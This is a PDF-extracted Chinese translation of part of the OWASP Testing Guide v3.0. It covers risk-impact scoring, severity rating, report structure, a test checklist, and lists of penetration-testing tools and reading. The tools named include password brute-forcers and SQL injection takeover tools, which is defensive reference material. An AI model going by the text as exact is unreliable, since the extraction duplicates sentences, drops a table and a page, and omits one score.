步 骤 3: 估 计 影 响 的 因 素<br />

当 考 虑 一 次 成 功 攻 击 的 影 响 时 , 第 一 种 是 对 应 用 程 序 的 另 一 种 则 是 对 业 务 和 使 用 应 用 程 序 的 公 司 所 造 成 的 很 重 要 的<br />

是 要 知 道 有 两 种 影 响 。 第 一 种 是 对 应 用 程 序 的 “ 技 术 性 影 响 ” 以 及 它 所 使 用 的 数 据 、 所 提 供 的 功 能 。 另 一 种 则 是 对<br />

业 务 和 使 用 应 用 程 序 的 公 司 所 造 成 的 “ 业 务 影 响 ”。<br />

最 终 , 业 务 影 响 是 更 重 要 一 些 。 然 而 , 你 可 能 无 法 获 取 有 坜 于 分 析 利 用 漏 洞 成 功 对 业 务 后 果 的 相 关 信 息 。 在 这 种 情<br />

况 下 , 提 供 尽 可 能 多 的 关 于 技 术 风 险 的 细 节 , 可 以 使 得 负 责 的 业 务 代 表 对 业 务 风 险 做 出 相 关 决 定 。<br />

同 样 , 每 个 因 素 都 有 一 组 选 项 , 每 个 选 项 都 可 以 选 择 从 0 到 9 的 可 能 性 分 级 。 我 们 稍 后 将 使 用 这 些 数 字 来 估 计 整 体<br />

的 可 能 性 。<br />

技 术 影 响 因 素<br />

347


技 术 影 响 可 以 分 解 为 几 个 传 统 安 全 领 域 所 关 注 的 因 素 : 机 密 性 , 完 整 性 , 可 用 性 , 以 及 不 可 抵 赖 性 。 这 里 的 目 标 是<br />

估 计 漏 洞 利 用 对 系 统 造 成 影 响 的 程 度 。<br />

丧 失 机 密 性<br />

有 多 少 数 据 可 以 被 泄 露 ? 这 些 数 据 的 敏 感 性 如 何 ? 极 少 的 非 敏 感 数 据 被 泄 露 ( 2), 极 少 的 关 键 数 据 被 泄 露 (6),<br />

大 量 的 非 敏 感 数 据 被 泄 露 (6), 大 量 的 敏 感 数 据 被 泄 露 , 所 有 数 据 被 泄 露 (9)。<br />

丧 失 完 整 性<br />

多 少 数 据 被 破 坏 ? 损 害 有 多 严 重 ? 极 少 的 轻 微 数 据 破 坏 (1), 极 少 的 严 重 数 据 破 坏 (3), 大 量 的 轻 微 数 据 破 坏<br />

(5), 大 量 的 严 重 数 据 破 坏 (7), 所 有 数 据 被 破 坏 (9)<br />

丧 失 可 用 性<br />

多 少 服 务 可 能 丢 失 ? 这 些 服 务 有 多 重 要 ? 极 少 的 次 要 服 务 中 断 (1), 极 少 的 主 要 服 务 中 断 (5), 大 量 的 次 要 服 务<br />

中 断 (5), 大 量 的 主 要 服 务 中 断 (7), 所 有 服 务 丢 失 (9)<br />

丧 失 不 可 抵 赖 性<br />

可 否 通 过 攻 击 者 的 行 为 追 踪 到 个 人 程 度 ? 可 完 全 追 踪 (1), 可 能 可 追 踪 (7), 完 全 匿 名 (9)<br />

业 务 影 响 因 素<br />

但 需 要 深 层 次 理 解 哪 些 部 分 对 于 公 司 运 行 应 用 程 序 十 分 重 要 业 务 影 响 由 技 术 影 响 衍 生 出 来 , 但 需 要 深 入 理 解 哪 些 部<br />

分 对 于 公 司 运 行 是 重 要 的 。 一 般 来 说 , 你 应 该 集 中 于 处 理 具 有 业 务 影 响 的 风 险 , 特 别 是 你 的 受 众 是 主 管 层 的 时 候 。<br />

业 务 风 险 是 在 修 复 安 全 问 题 中 评 估 投 资 是 否 正 确 的 标 准 。<br />

许 多 公 司 都 有 一 个 资 产 分 类 指 南 , 或 者 可 能 还 有 一 个 业 务 影 响 参 考 来 正 式 说 明 什 幺 对 他 们 的 业 务 是 重 要 的 。 这 些 标<br />

准 可 以 帮 助 你 集 中 于 那 些 真 正 对 安 全 重 要 的 部 分 。 如 果 这 些 标 准 不 可 用 , 可 以 去 和 理 解 业 务 的 人 交 流 , 以 此 来 获 得<br />

他 们 认 为 什 幺 是 重 要 的 信 息 。<br />

以 下 因 素 在 许 多 业 务 中 都 很 常 见 , 但 每 个 因 素 都 因 公 司 而 别 , 与 威 胁 代 理 、 漏 洞 和 技 术 影 响 更 需 要 制 定 。<br />

经 济 损 失<br />

一 个 漏 洞 会 造 成 多 大 的 经 济 损 失 ? 少 于 修 复 漏 洞 的 花 费 少 于 修 复 漏 洞 的 花 费 ( 1), 对 年 度 利 润 影 响 较 小 (3), 对<br />

年 度 利 润 影 响 很 大 (7), 破 产 (9)<br />

声 誉 损 害<br />

一 个 漏 洞 导 致 的 声 誉 受 损 会 否 有 损 于 业 务 ? 极 少 的 损 害 (1), 丧 失 主 要 客 户 (4), 丧 失 信 誉 (5), 品 牌 受 损<br />

(9)<br />

触 犯 条 例<br />

348


OWASP 测 试 指 南 v3.0<br />

触 犯 条 例 的 程 度 如 何 ? 较 小 的 冒 犯 (2), 明 显 的 冒 犯 (5), 显 而 易 见 的 冒 犯 (7)<br />

隐 私 侵 犯<br />

有 多 少 个 人 资 料 信 息 被 泄 露 ? 某 一 个 人 (3), 上 百 人 (5), 上 千 人 (7), 上 百 万 人 (9)<br />

步 骤 4: 确 定 风 险 的 严 重 程 度<br />

这 一 步 中 我 们 将 集 中 可 能 性 分 析 和 影 响 分 析 , 以 便 计 算 这 个 风 险 的 整 体 严 重 性 。 你 需 要 做 的 是 指 出 可 能 性 和 影 响 的<br />

程 度 是 低 , 中 还 是 高 。 我 们 把 0-9 的 刻 度 划 分 为 三 个 部 分 。<br />

可 能 性 和 影 响 分 级<br />

0 到


接 着 , 我 们 需 要 指 出 整 体 的 影 响 。 这 个 过 程 和 上 面 的 类 似 。 很 多 情 况 下 答 案 是 显 而 易 见 的 。 你 可 以 基 于 这 些 因 素 来<br />

做 一 个 估 计 , 或 者 你 也 可 以 对 每 个 因 素 取 平 均 值 。 同 样 , 低 于 3 为 低 ,3 到 6 为 中 ,6 到 9 为 高 。 例 如 :<br />

技 术 影 响<br />

业 务 影 响<br />

丧 失 机 密 性 丧 失 完 整 性 丧 失 可 用 性 丧 失 不 可 抵 赖 性 经 济 损 失 声 誉 损 害 触 犯 条 例 隐 私 侵 犯<br />

9 7 5 8 1 2 1 5<br />

整 体 技 术 影 响 =7.25 ( 高 ) 整 体 业 务 影 响 =2.25 ( 低 )<br />

确 定 严 重 程 度<br />

既 然 我 们 得 到 了 可 能 性 和 影 响 的 估 计 , 我 们 现 在 就 可 以 将 它 们 联 合 起 来 得 到 关 于 这 个 风 险 的 最 终 严 重 程 度 分 级 。 需<br />

注 意 如 果 你 有 良 好 的 业 务 影 响 信 息 , 你 应 该 使 用 它 代 替 技 术 影 响 信 息 。 但 如 果 你 没 有 关 于 业 务 的 信 息 , 那 幺 技 术 影<br />

响 是 最 好 的 选 择 。<br />

风 险 整 体 严 重 程 度<br />

高 中 高 危 急<br />

影 响<br />

中 低 中 高<br />

低 注 意 低 中<br />

低 中 高<br />

可 能 性<br />

在 上 面 的 例 子 中 , 可 能 性 为 中 , 技 术 影 响 为 高 , 所 以 从 纯 技 术 角 度 , 整 体 的 严 重 程 度 为 高 。 然 而 需 要 注 意 的 是 , 业<br />

务 影 响 实 际 上 为 低 , 所 以 整 体 的 严 重 程 度 最 好 也 描 述 为 低 。 这 就 是 为 何 对 于 做 出 好 的 风 险 判 断 时 , 对 漏 洞 的 业 务 内<br />

容 的 良 好 理 解 是 至 关 重 要 的 原 因 对 漏 洞 的 业 务 内 容 有 良 好 理 解 是 至 关 重 要 的 原 因 。 没 有 理 解 这 些 内 容 可 能 会 导 致 在<br />

很 多 组 织 中 存 在 的 那 种 业 务 组 和 安 全 组 之 间 缺 乏 信 任 的 现 象 。<br />

步 骤 5: 决 定 需 要 修 复 的 内 容<br />

在 对 你 的 应 用 程 序 进 行 风 险 分 类 之 后 在 对 你 的 应 用 进 行 风 险 分 类 之 后 , 你 需 要 建 立 一 个 需 要 修 复 内 容 的 优 先 级 列<br />

表 。 一 般 情 况 下 , 你 应 该 首 先 修 复 程 度 最 严 重 的 风 险 。 即 使 修 复 次 要 风 险 的 难 度 和 代 价 都 很 小 , 这 些 工 作 对 于 你 的<br />

整 体 风 险 预 测 也 没 有 太 大 帮 助 。<br />

350


OWASP 测 试 指 南 v3.0<br />

记 住 不 是 所 有 的 风 险 都 值 得 去 修 复 , 有 些 损 失 不 仅 仅 是 可 预 料 的 , 而 且 跟 修 复 费 用 相 比 这 些 损 失 也 是 合 理 的 。 例<br />

如 , 如 果 每 年 需 要 投 入 100,000 美 元 去 避 免 2,000 美 元 左 右 的 欺 诈 , 那 幺 大 约 需 要 50 年 时 间 才 能 收 回 投 资 成 本 。 但<br />

是 记 住 欺 诈 也 有 可 能 造 成 名 誉 损 害 , 以 致 于 组 织 损 失 更 多 。<br />

步 骤 6: 定 制 你 的 风 险 分 级 模 型<br />

一 个 风 险 分 级 框 架 是 否 是 为 某 个 业 务 定 制 的 , 这 对 其 是 否 被 采 用 是 至 关 重 要 的 。 一 个 定 制 的 模 型 能 更 好 的 符 合 人 们<br />

关 于 什 幺 是 危 险 风 险 的 预 想 。 如 果 没 有 使 用 一 个 类 似 的 模 型 , 你 可 能 会 花 费 很 多 时 间 来 讨 论 风 险 分 级 的 标 准 。 有 几<br />

种 方 法 来 修 整 模 型 来 适 应 你 的 组 织 。<br />

增 加 因 素<br />

你 可 以 增 加 不 同 的 因 素 来 更 好 的 描 述 对 于 你 的 组 织 什 幺 更 重 要 。 例 如 , 一 个 军 事 应 用 程 序 可 能 需 要 增 加 关 于 伤 亡 人<br />

数 或 分 类 信 息 的 影 响 因 素 一 个 军 事 应 用 可 能 需 要 增 加 关 于 伤 亡 人 数 或 分 类 信 息 的 影 响 因 素 。 你 可 能 也 需 要 增 加 可 能<br />

性 因 素 , 例 如 攻 击 的 时 机 或 者 加 密 算 法 的 强 度 。<br />

定 制 选 项<br />

每 个 因 素 都 有 几 个 示 例 选 项 , 但 是 如 果 你 为 你 的 业 务 定 制 了 这 些 选 项 , 则 可 以 使 这 个 模 型 更 加 有 效 。 例 如 , 使 用 不<br />

同 的 团 队 名 字 或 者 对 不 同 分 类 信 息 的 命 名 。 你 也 可 以 更 改 每 个 选 项 对 应 的 分 数 。 制 定 合 适 分 数 的 最 好 途 径 是 将 模 型<br />

产 生 的 分 级 与 一 组 专 家 给 出 的 分 级 相 比 较 。 你 可 以 通 过 仔 细 的 修 正 分 数 来 调 整 合 适 的 模 型 。<br />

权 重 因 素<br />

上 述 模 型 假 定 各 个 因 素 都 同 等 重 要 。 你 可 以 通 过 给 每 个 因 素 赋 予 权 值 的 方 式 来 强 调 哪 些 对 你 的 业 务 更 加 重 要 。 由 于<br />

你 需 要 使 用 一 个 加 权 平 均 值 , 这 使 得 模 型 稍 微 有 些 复 杂 。 否 则 的 话 所 有 的 因 素 都 一 样 。 同 样 , 你 可 以 通 过 与 你 认 为<br />

是 精 确 的 模 型 进 行 对 比 来 调 整 这 个 模 型 。<br />

参 考<br />

• NIST 800-30 Risk Management Guide for Information Technology Systems [1]<br />

• AS/NZS 4360 Risk Management [2]<br />

• Industry standard vulnerability severity and risk rankings (CVSS) [3]<br />

• Security-enhancing process models (CLASP) [4]<br />

• Microsoft Web Application Security Frame [5]<br />

• Security In The Software Lifecycle from DHS [6]<br />

• Threat Risk Modeling [7]<br />

• Pratical Threat Analysis [8]<br />

• A Platform for Risk Analysis of Security Critical Systems [9]<br />

• Model-driven Development and Analysis of Secure Information Systems [10]<br />

• Value Driven Security Threat Modeling Based on Attack Path Analysis[11]<br />

351


5.2 如 何 书 写 这 个 测 试 报 告<br />

执 行 技 术 方 面 的 评 价 只 是 整 体 评 价 进 程 的 一 半 ; 最 终 产 品 是 一 份 内 容 详 实 的 报 告 。<br />

报 告 应 该 简 单 易 懂 、 突 出 所 有 评 估 期 间 找 到 的 风 险 , 并 将 之 呈 现 给 管 理 员 工 和 技 术 员 工 。<br />

报 告 需 要 有 三 个 主 要 部 分 , 并 且 在 一 定 程 度 上 允 许 每 个 部 分 被 单 独 分 离 出 来 , 打 印 并 交 与 相 关 的 团 队 , 比 如 开 发 人<br />

员 或 者 系 统 管 理 员 。<br />

通 常 推 荐 有 如 下 几 个 部 分 :<br />

I. 内 容 提 要<br />

内 容 提 要 集 合 了 所 有 评 价 , 并 给 予 管 理 层 或 系 统 管 理 员 一 个 对 全 局 风 险 的 认 识 。 使 用 的 语 言 应 该 更 适 合 没 有 技 术 背<br />

景 的 人 看 , 还 应 该 使 用 图 表 来 显 示 风 险 等 级 。 我 们 建 议 该 报 告 应 该 包 含 一 个 摘 要 , 详 细 介 绍 了 从 测 试 开 始 到 完 成 的<br />

所 有 细 节 。<br />

另 一 个 经 常 被 忽 视 的 是 关 于 含 义 和 进 一 步 行 动 的 部 分 。 它 可 以 使 得 系 统 所 有 者 明 白 为 了 维 护 系 统 安 全 需 要 做 些 什<br />

幺 。<br />

II. 技 术 管 理 概 述<br />

技 术 管 理 概 述 部 分 经 常 提 供 给 那 些 技 术 管 理 员 , 他 们 需 要 比 内 容 提 要 更 详 细 的 技 术 细 节 。 这 一 部 分 应 该 包 括 评 价 范<br />

围 的 细 节 、 目 标 以 及 一 些 附 件 , 比 如 系 统 可 用 性 等 。 这 部 分 也 需 要 一 份 在 整 个 报 告 中 使 用 的 风 险 分 级 标 准 的 介 绍 ,<br />

以 及 一 份 对 各 个 发 现 的 技 术 概 述 。<br />

III 评 估 结 果<br />

报 告 最 后 一 部 分 是 评 估 结 果 , 这 部 分 包 括 对 已 发 现 漏 洞 的 详 细 技 术 细 节 , 以 及 一 些 确 保 它 们 被 解 决 了 的 方 法 。<br />

这 部 分 以 一 个 技 术 层 为 目 标 , 它 应 该 包 括 关 于 所 有 必 要 的 信 息 , 使 得 技 术 团 队 理 解 问 题 并 解 决 问 题 。<br />

这 些 发 现 应 该 包 括 :<br />

• 一 定 数 量 的 截 图 , 用 以 做 简 单 的 参 考<br />

• 被 影 响 的 事 物<br />

• 对 问 题 的 技 术 描 述<br />

• 如 何 解 决 问 题 的 章 节<br />

• 风 险 分 级 和 影 响 程 度<br />

每 个 发 现 都 应 该 清 晰 简 明 , 并 使 得 读 者 对 于 问 题 有 一 个 完 整 的 认 识 。 后 几 页 是 一 个 报 告 表 。<br />

352


OWASP 测 试 指 南 v3.0<br />

分 类 引 用 号 测 试 名 发 现 解 决 方 案 风 险<br />

OWASP-IG-001<br />

测 试 : 蜘 蛛 , 机 器 人 和 爬 虫<br />

信 息 收 集<br />

OWASP-IG-002<br />

OWASP-IG-003<br />

OWASP-IG-004<br />

搜 索 引 擎 发 现 / 侦 查<br />

应 用 入 口 识 别<br />

WEB 应 用 指 纹 测 试<br />

OWASP-IG-005<br />

应 用 程 序 发 现<br />

OWASP-IG-006<br />

错 误 代 码 分 析<br />

OWASP-CM-001 SSL/TLS 测 试 (SSL 版 本 , 算 法 ,<br />

密 钥 长 度 , 数 字 证 书 , 合 法 性 )<br />

OWASP-CM-002<br />

数 据 库 监 听 测 试<br />

配 置 管 理 测 试<br />

OWASP-CM-003<br />

OWASP-CM-004<br />

OWASP-CM-005<br />

OWASP-CM-006<br />

OWASP-CM-007<br />

基 础 结 构 配 置 管 理 测 试<br />

应 用 配 置 管 理 测 试<br />

文 件 扩 展 名 处 理 测 试<br />

过 时 的 、 用 于 备 份 的 以 及 未<br />

被 引 用 的 文 件<br />

基 础 结 构 和 应 用 管 理 界 面<br />

OWASP-CM-008<br />

OWASP-AT-001<br />

HTTP 方 法 和 XST 测 试<br />

加 密 信 道 证 书 传 输<br />

OWASP-AT-002<br />

用 户 枚 举 测 试<br />

认 证 测 试<br />

OWASP-AT-003<br />

OWASP-AT-004<br />

默 认 或 可 猜 解 ( 遍 历 ) 用 户 帐<br />

户<br />

暴 力 破 解 测 试<br />

OWASP-AT-005<br />

认 证 模 式 绕 过 测 试<br />

OWASP-AT-006<br />

记 住 密 码 和 密 码 重 置 弱 点 测 试<br />

353


OWASP-AT-007<br />

注 销 和 浏 览 器 缓 存 管 理 测 试<br />

OWASP-AT-008<br />

OWASP-AT-009<br />

OWASP-AT-010<br />

OWASP-SM-001<br />

CAPTCHA 测 试<br />

多 因 素 认 证 测 试<br />

竞 争 条 件 测 试<br />

会 话 管 理 模 式 测 试<br />

会 话 管 理<br />

授 权 测 试<br />

OWASP-SM-002<br />

OWASP-SM-003<br />

OWASP-SM-004<br />

OWASP-SM-005<br />

OWASP-AZ-001<br />

OWASP-AZ-002<br />

OWASP-AZ-003<br />

Cookies 属 性 测 试<br />

会 话 固 定 测 试<br />

会 话 变 量 泄 漏 测 试<br />

CSRF 测 试<br />

路 径 遍 历 测 试<br />

绕 过 授 权 模 式 测 试<br />

特 权 提 升 测 试<br />

业 务 逻 辑 测 试 OWASP-BL-001 业 务 逻 辑 测 试<br />

OWASP-DV-001<br />

OWASP-DV-002<br />

反 射 式 跨 站 脚 本 测 试<br />

存 储 式 跨 站 脚 本 测 试<br />

OWASP-DV-003<br />

基 于 DOM 的 跨 站 脚 本 测 试<br />

OWASP-DV-004<br />

FLASH 跨 站 脚 本 测 试<br />

OWASP-DV-005<br />

SQL 注 入<br />

数 据 验 证 测 试<br />

OWASP-DV-006<br />

OWASP-DV-007<br />

LDAP 注 入<br />

ORM 注 入<br />

OWASP-DV-008<br />

XML 注 入<br />

OWASP-DV-009<br />

SSI 注 入<br />

OWASP-DV-010<br />

XPath 注 入<br />

OWASP-DV-011<br />

IMAP/SMTP 注 入<br />

354


OWASP 测 试 指 南 v3.0<br />

OWASP-DV-012<br />

代 码 注 入<br />

OWASP-DV-013<br />

OS 指 令 执 行<br />

OWASP-DV-014<br />

缓 冲 区 溢 出 检 测<br />

OWASP-DV-015<br />

潜 伏 式 漏 洞 检 测<br />

OWASP-DV-016<br />

HTTP Splitting/Smuggling 测 试<br />

OWASP-DS-001<br />

SQL 通 配 符 攻 击 测 试<br />

OWASP-DS-002<br />

锁 定 用 户 账 户<br />

阻 断 服 务 攻 击 测<br />

试<br />

OWASP-DS-003<br />

OWASP-DS-004<br />

缓 冲 溢 出<br />

用 户 指 定 型 对 象 分 配<br />

OWASP-DS-005<br />

将 用 户 输 入 用 作 循 环 计 数 器<br />

OWASP-DS-006<br />

将 用 户 写 入 的 数 据 写 到 磁 盘<br />

OWASP-DS-007<br />

释 放 资 源 失 败<br />

OWASP-DS-008<br />

存 储 过 多 会 话 数 据<br />

OWASP-WS-001<br />

WS 信 息 收 集<br />

OWASP-WS-002<br />

WSDL 测 试<br />

OWASP-WS-003<br />

XML 结 构 测 试<br />

Web 服 务 测 试<br />

OWASP-WS-004<br />

XML 内 容 级 别 测 试<br />

OWASP-WS-005<br />

HTTP GET 参 数 /REST 测 试<br />

OWASP-WS-006<br />

调 皮 的 SOAP 附 件<br />

OWASP-WS-007<br />

重 现 测 试<br />

AJAX 测 试 OWASP-AJ-001 AJAX 漏 洞<br />

OWASP-AJ-002<br />

AJAX 测 试<br />

IV 工 具 箱<br />

355


这 部 分 常 用 于 描 述 评 估 中 使 用 的 商 业 以 及 开 源 工 具 。 当 在 评 价 过 程 中 使 用 用 户 脚 本 / 代 码 时 , 应 该 在 这 部 分 中 说 明 或<br />

以 附 件 形 式 标 记 。 通 常 用 户 很 喜 欢 该 测 试 包 含 了 顾 问 的 使 用 方 法 。 他 们 可 以 知 道 该 评 估 的 全 面 性 已 经 包 含 了 哪 些 方<br />

面 。<br />

356


OWASP 测 试 指 南 v3.0<br />

附 录 A: 测 试 工 具<br />

开 源 黑 盒 测 试 工 具<br />

一 般 测 试<br />

• OWASP WebScarab<br />

• OWASP CAL9000: CAL9000 是 一 个 基 于 浏 览 器 的 工 具 集 合 , 它 可 以 使 得 手 动 测 试 更 加 快 速 高 效 。 它 包 含 有 一 个 XSS 攻 击<br />

库 , 字 符 编 码 器 / 解 码 器 ,HTTP 请 求 生 成 器 和 响 应 计 算 器 , 测 试 清 单 , 自 动 攻 击 编 辑 器 以 及 其 它 很 多 内 容 。<br />

• OWASP Pantera Web Assessment Studio Project<br />

• SPIKE - http://www.immunitysec.com<br />

• Paros - http://www.parosproxy.org<br />

• Burp Proxy - http://www.portswigger.net<br />

• Achilles Proxy - http://www.mavensecurity.com/achilles<br />

• Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/<br />

• Webstretch Proxy - http://sourceforge.net/projects/webstretch<br />

• Firefox LiveHTTPHeaders, Tamper Data and Developer Tools - http://www.mozdev.org<br />

• Sensepost Wikto (Google cached fault-finding) - http://www.sensepost.com/research/wikto/index2.html<br />

• Grendel-Scan - http://www.grendel-scan.com<br />

特 定 漏 洞 测 试<br />

Flash 测 试<br />

• OWASP SWFIntruder - http://www.owasp.org/index.php/Category:SWFIntruder,<br />

http://www.mindedsecurity.com/swfintruder.html<br />

AJAX 测 试<br />

• OWASP Sprajax Project<br />

SQL 注 入 测 试<br />

• OWASP SQLiX<br />

• Multiple DBMS SQL Injection tool - SQL Power Injector<br />

• MySQL Blind Injection Bruteforcing, Reversing.org - [sqlbftools]<br />

• Antonio Parata: Dump Files by SQL inference on Mysql - [SqlDumper]<br />

• Sqlninja: a SQL Server Injection & Takeover Tool - http://sqlninja.sourceforge.net<br />

• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net<br />

• Absinthe 1.1 (formerly SQLSqueal) - http://www.0x90.org/releases/absinthe/<br />

• SQLInjector - http://www.databasesecurity.com/sql-injector.htm<br />

• bsqlbf-1.2-th - http://www.514.es<br />

Oracle 测 试<br />

• TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html<br />

357


SSL 测 试<br />

• Toad for Oracle - http://www.quest.com/toad<br />

• Foundstone SSL Digger - http://www.foundstone.com/resources/proddesc/ssldigger.htm<br />

暴 力 破 解 密 码 测 试<br />

• THC Hydra - http://www.thc.org/thc-hydra/<br />

• John the Ripper - http://www.openwall.com/john/<br />

• Brutus - http://www.hoobie.net/brutus/<br />

• Medusa - http://www.foofus.net/~jmk/medusa/medusa.html<br />

HTTP 方 法 测 试<br />

• NetCat - http://www.vulnwatch.org/netcat<br />

缓 冲 区 溢 出 测 试<br />

• OllyDbg - http://www.ollydbg.de<br />

o " 一 个 基 于 Windows 的 用 于 分 析 缓 冲 区 溢 出 漏 洞 的 调 试 器 "<br />

• Spike - http://www.immunitysec.com/downloads/SPIKE2.9.tgz<br />

• 一 个 可 用 于 探 寻 漏 洞 以 及 执 行 长 度 测 试 的 漏 洞 检 查 框 架<br />

• Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net<br />

o 一 个 主 动 的 二 进 制 检 查 器<br />

• Metasploit - http://www.metasploit.com/projects/Framework/<br />

o 一 个 快 速 的 攻 击 产 生 和 测 试 框 架<br />

Fuzzing 工 具<br />

• WSFuzzer<br />

Googling<br />

• Foundstone Sitedigger (Google cached fault-finding) - http://www.foundstone.com/resources/proddesc/sitedigger.htm<br />

商 业 黑 盒 测 试 工 具<br />

• Typhon - http://www.ngssoftware.com/products/internet-security/ngs-typhon.php<br />

• NGSSQuirreL - http://www.ngssoftware.com/products/database-security/<br />

• Watchfire AppScan - http://www.watchfire.com<br />

• Cenzic Hailstorm - http://www.cenzic.com/products_services/cenzic_hailstorm.php<br />

• SPI Dynamics WebInspect - http://www.spidynamics.com<br />

• Burp Intruder - http://portswigger.net/intruder<br />

• Acunetix Web Vulnerability Scanner - http://www.acunetix.com<br />

• ScanDo - http://www.kavado.com<br />

• WebSleuth - http://www.sandsprite.com<br />

• NT Objectives NTOSpider - http://www.ntobjectives.com/products/ntospider.php<br />

• Fortify Pen Testing Team Tool - http://www.fortifysoftware.com/products/tester<br />

• Sandsprite Web Sleuth - http://sandsprite.com/Sleuth/<br />

• MaxPatrol Security Scanner - http://www.maxpatrol.com<br />

• Ecyware GreenBlue Inspector - http://www.ecyware.com<br />

• Parasoft WebKing (more QA-type tool)<br />

358


OWASP 测 试 指 南 v3.0<br />

• MatriXay - http://www.dbappsecurity.com<br />

• N-Stalker Web Application Security Scanner - http://www.nstalker.com<br />

源 代 码 分 析 工 具 — 开 源 / 免 费 软 件<br />

• OWASP LAPSE<br />

• PMD - http://pmd.sourceforge.net/<br />

• FlawFinder - http://www.dwheeler.com/flawfinder<br />

• Microsoft’s FxCop<br />

• Splint - http://splint.org<br />

• Boon - http://www.cs.berkeley.edu/~daw/boon<br />

• Pscan - http://www.striker.ottawa.on.ca/~aland/pscan<br />

• FindBugs - http://findbugs.sourceforge.net<br />

源 代 码 分 析 工 具 — 商 业 软 件<br />

• Fortify - http://www.fortifysoftware.com<br />

• Ounce labs Prexis - http://www.ouncelabs.com<br />

• Veracode - http://www.veracode.com<br />

• GrammaTech - http://www.grammatech.com<br />

• ParaSoft - http://www.parasoft.com<br />

• ITS4 - http://www.cigital.com/its4<br />

• CodeWizard - http://www.parasoft.com/products/wizard<br />

• Armorize CodeSecure - http://www.armorize.com/product/<br />

• Checkmarx CxSuite - http://www.checkmarx.com<br />

验 收 测 试 工 具 — 开 源<br />

• 验 收 测 试 工 具 用 于 验 证 网 络 应 用 程 序 的 功 能 。 他 们 和 脚 本 化 的 方 法 一 起 使 用 , 但 通 常 使 用 单 元 测 试 框 架 来 构 建 测 试 套 具<br />

和 测 试 用 例 。 绝 大 部 分 在 可 以 适 用 于 功 能 测 试 的 同 时 也 可 以 执 行 安 全 测 试 。<br />

• WATIR - http://wtr.rubyforge.org<br />

o<br />

o<br />

一 个 基 于 Ruby 的 web 测 试 框 架 , 它 提 供 一 个 嵌 入 Internet Explorer 的 界 面<br />

仅 适 用 于 Windows.<br />

• HtmlUnit - http://htmlunit.sourceforge.net<br />

o 一 个 基 于 Java 和 JUnit 的 框 架 , 使 用 Apache HttpClient 作 为 传 输 工 具 。<br />

o 很 健 壮 , 可 配 置 , 被 很 多 其 它 测 试 工 具 当 作 引 擎 使 用<br />

• jWebUnit - http://jwebunit.sourceforge.net<br />

o 一 个 基 于 Java 的 元 框 架 , 使 用 htmlunit 或 selenium 作 为 测 试 引 擎 。<br />

• Canoo Webtest - http://webtest.canoo.com<br />

o 一 个 基 于 XML 的 测 试 工 具 , 提 供 了 一 个 htmlunit 上 的 外 观 。<br />

o 测 试 完 全 使 用 XML 指 定 , 因 而 不 需 要 编 程 。<br />

o 如 果 XML 不 够 用 , 这 里 提 供 了 在 Groovy 中 编 写 一 些 元 素 的 选 项 。<br />

o 更 新 维 护 快 。<br />

359


• HttpUnit - http://httpunit.sourceforge.net<br />

o 首 批 web 测 试 框 架 之 一 , 由 于 使 用 本 地 JDK 来 提 供 HTTP 传 输 , 在 安 全 测 试 方 面 有 一 些 限 制 。<br />

• Watij - http://watij.com<br />

o 一 个 WATIR 的 Java 实 现 .<br />

o 由 于 使 用 IE 做 测 试 , 只 适 用 于 Windows。(Mozilla 整 合 正 在 进 行 中 )<br />

• Solex - http://solex.sourceforge.net<br />

o 一 个 提 供 记 录 HTTP 会 话 和 基 于 结 果 进 行 断 言 的 图 形 工 具 , 这 是 一 个 Eclipse 插 件 。<br />

• Selenium - http://www.openqa.org/selenium/<br />

o 基 于 JavaScript 的 测 试 框 架 , 可 跨 平 台 并 提 供 一 个 创 建 测 试 的 图 形 界 面 。<br />

o 成 熟 而 流 行 的 工 具 , 但 是 使 用 JavaScript 可 能 会 妨 碍 特 定 的 安 全 测 试 。<br />

其 它 工 具<br />

运 行 时 分 析<br />

• Rational PurifyPlus - http://www-306.ibm.com/software/awdtools<br />

二 进 制 分 析<br />

• BugScam - http://sourceforge.net/projects/bugscam<br />

• BugScan - http://www.hbgary.com<br />

• Veracode - http://www.veracode.com<br />

需 求 管 理<br />

• Rational Requisite Pro - http://www-306.ibm.com/software/awdtools/reqpro<br />

站 点 镜 像<br />

• wget - http://www.gnu.org/software/wget, http://www.interlog.com/~tcharron/wgetwin.html<br />

• curl - http://curl.haxx.se<br />

• Sam Spade - http://www.samspade.org<br />

• Xenu - http://home.snafu.de/tilman/xenulink.html<br />

附 录 B: 推 荐 读 物<br />

白 皮 书<br />

• Security in the SDLC (NIST) - http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf<br />

• The OWASP Guide to Building Secure Web Applications - http://www.owasp.org/index.php/Category:OWASP_Guide_Project<br />

• The Economic Impacts of Inadequate Infrastructure for Software Testing - http://www.nist.gov/director/prog-ofc/report02-<br />

3.pdf<br />

• Threats and Countermeasures: Improving Web Application Security -<br />

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/threatcounter.asp<br />

• Web Application Security is Not an Oxy-Moron, by Mark Curphey - http://www.sbq.com/sbq/app_security/index.html<br />

• The Security of Applications: Not All Are Created Equal -<br />

http://www.atstake.com/research/reports/acrobat/atstake_app_unequal.pdf<br />

360


OWASP 测 试 指 南 v3.0<br />

• The Security of Applications Reloaded - http://www.atstake.com/research/reports/acrobat/atstake_app_reloaded.pdf<br />

106.ibm.com/developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf<br />

书 籍<br />

• James S. Tiller: "The Ethical Hack: A Framework for Business Value Penetration Testing", Auerbach, ISBN: 084931609X<br />

• Susan Young, Dave Aitel: "The Hacker's Handbook: The Strategy behind Breaking into and Defending Networks", Auerbach, ISBN:<br />

0849308887<br />

• Secure Coding, by Mark Graff and Ken Van Wyk, published by O’Reilly, ISBN 0596002424(2003) - http://www.securecoding.org<br />

• Building Secure Software: How to Avoid Security Problems the Right Way, by Gary McGraw and John Viega, published by<br />

Addison-Wesley Pub Co, ISBN 020172152X (2002) - http://www.buildingsecuresoftware.com<br />

• Writing Secure Code, by Mike Howard and David LeBlanc, published by Microsoft Press, ISBN 0735617228 (2003)<br />

http://www.microsoft.com/mspress/books/5957.asp<br />

• Innocent Code: A Security Wake-Up Call for Web Programmers, by Sverre Huseby, published by John Wiley & Sons, ISBN<br />

0470857447(2004) - http://innocentcode.thathost.com<br />

